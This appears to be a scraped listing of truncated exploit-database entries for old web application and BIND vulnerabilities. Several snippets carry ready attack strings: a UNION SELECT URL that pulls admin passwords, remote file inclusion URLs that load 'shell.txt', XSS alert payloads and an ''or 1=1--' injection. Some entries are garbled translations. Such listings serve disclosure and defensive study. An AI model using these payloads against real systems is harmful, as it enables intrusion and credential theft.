roundcube-XSS.txt

There is an XSS vulnerability in roundcube webmail: http://demo.roundcube.net/?task=';alert%22XSS%22// Btw, we've been posting 0-day XSS vulnerabilities at http://sla.ckers.org/forum/list.php?3 to take it out of the full disclosure list since lots of people don't want to see the sheer volume of...

INFINICART - sendpassword.asp?email Cross-Site Scripting

INFINICART - sendpassword.asp?email Cross-Site Scripting source: https://www.securityfocus.com/bid/21043/info Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input...

INFINICART - 'browse_group.asp?groupid' SQL Injection

source: https://www.securityfocus.com/bid/21043/info Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. A successful exploit of these vulnerabilities could all...

PhpShop Core 0.9.0 RC1 - 'PS_BASE' File Inclusion

--------------------------------------|| Viva Palestine ||----------------------------------------- PhpShop-Core append.php Remot File Include Vulnerability Found By : CoLd Zero Wasem898 Source : includeonce $4AZHARTeAM."Securty."; PalesTine Arab Muslim Hacker's PhpShop-Core v0.9.0 RC1 Class:...

BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (4)

No description provided by source. / This exploit has been fixed and extensive explanation and clarification added. Cleanup done by: Ian Goldberg [email protected] Jonathan Wilkins [email protected] NOTE: the default installation of RedHat 6.2 seems to not be affected due to the compiler...

YenerHaber.txt

BiyoSecurity.Org script name : Yener Haber Script v2.0 Demo : http://www50.brinkster.com/yenerturk Risk : High Regards : DjReMix Thanks : Korsan , Liz0zim , TRIP Exploit : http://victim.com/?x=2&kategori=11&id=-1%20union+select+id,kullaniciadi,sifre,4,5,6,7,8,9+from+admin Admin Pass Displayed :=...

asp mA kill free tools-asp universal solvent-vulnerability warning-the black bar safety net

7 days ago I asked netxfly. put this tool issued to,the results are not satisfactory IHey Hey5 Section 1., We have good busy which asp universal solvent----Oh,suddenly came up with a such a name for my little tool,feel also able to image. This is a demo version The first hit ad.: Bugs asp univers...

TeamCal Pro 2.8.001 - 'app_root' Remote File Inclusion

Author:PSYCH@ [email protected] TeamCal Pro 2.8.001 approot Remote file inclusion Vulnerabilities Demo: www.lewe.com/tcpro/ Code: include $tcconfig'approot'."includes/footer.html.inc.php" ; Exploit http://site.com/path/includes/footer.html.inc.php?tcconfigapproot=shell.txt?...

TeamCal Pro 2.8.001 - app_root Remote File Inclusion

TeamCal Pro 2.8.001 - approot Remote File Inclusion Author:PSYCH@ [email protected] TeamCal Pro 2.8.001 approot Remote file inclusion Vulnerabilities Demo: www.lewe.com/tcpro/ Code: include $tcconfig'approot'."includes/footer.html.inc.php" ; Exploit...

TeamCal Pro <= 2.8.001 (app_root) Remote file Include Vulnerability

No description provided by source. Author:PSYCH@ [email protected] TeamCal Pro 2.8.001 approot Remote file inclusion Vulnerabilities Demo: www.lewe.com/tcpro/ Code: include $tcconfig'approot'."includes/footer.html.inc.php" ; Exploit...

PhpLinkExchange 1.0 (include/xss) Remote Vulnerabilities

No description provided by source. vendor :www.idevspot.com Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange By : s3rv3rhack3r www: hackerz.ir & h4ckerz.com remote file include : http://www.domain.com/PhpLinkExchange/bitslistings.php?svrrootPhpStart=shell.txt? xss:...

PhpLinkExchange 1.0 - Include Cross-Site Scripting

PhpLinkExchange 1.0 - Include Cross-Site Scripting vendor :www.idevspot.com Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange By : s3rv3rhack3r www: hackerz.ir & h4ckerz.com remote file include : http://www.domain.com/PhpLinkExchange/bitslistings.php?svrrootPhpStart=shell.txt? xss:...

PhpLinkExchange 1.0 - Include / Cross-Site Scripting

vendor :www.idevspot.com Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange By : s3rv3rhack3r www: hackerz.ir & h4ckerz.com remote file include : http://www.domain.com/PhpLinkExchange/bitslistings.php?svrrootPhpStart=shell.txt? xss: http://www.domain.com/PhpLinkExchange/useradd.php?msg=xss...

POWERGAP 2003 - 's0x.php' Remote File Inclusion

================================================================= powergap = s0x.php Remote File Inclusion Exploit ================================================================ Critical Level : Dangerous Venedor site : http://www.powergap-shop.de http://www.demo-shop.com...

Crtical Shockwave Embeded XSS Execution

The critical bug Shockwave videos allows to embebded code execution... This code can be XSS or activex mechanism. The victim cant understand because it ll executed background of real video without any redirection or url spoofing.. ====================================== Source Code: There is there...

AFCommerce Shopping Cart

The 'Demo Store' version of the AFCommerce Shopping Cart www.afcommerce.com is vulnerable to both SQL Injection and Cross Site Scripting XSS. SQL Injection can be tested by inserting the classic 'or 1=1-- into the search field. The result is that the first record is returned. We can also perform ...

From encryption software and with the mouth to save back to the file-vulnerability warning-the black bar safety net

Today dad just bought a U disk, but no encryption function, then check the Internet the following folder encryption software, but see there are people asking how to get back has been encrypted, the software today get up to people and claiming to defense-level encryption of the“high strength folde...

easycms.txt

Easy CMS 0.1.2 Php Shell Upload Vulnerabilities ---------------------------------------------------- site:http://sourceforge.net/projects/php-easy-cms/ demo:http://www.easy-cms.be/ -------------------------------------------------- Bug: 1http://victim/choosefile.php Documents Images Scripts Style...

clineSQL.txt

Cline Communications Sql injection ------------------------------------- Site:http://www.celerondude.com/ Demo:http://www.liveelite.com/ --------------------------------- Sql injection 1,photoenlarged.php file PhotoID parameter 2,newsdetail.php file NID parameter 3,staffphotoenlarged.php file...

QaTraq 6.5 RC: Multiple XSS Vulnerabilities

=========================================================== QaTraq 6.5 RC: Multiple XSS Vulnerabilities =========================================================== Technical University of Vienna Security Advisory TUVSA-0606-001, June 23, 2006...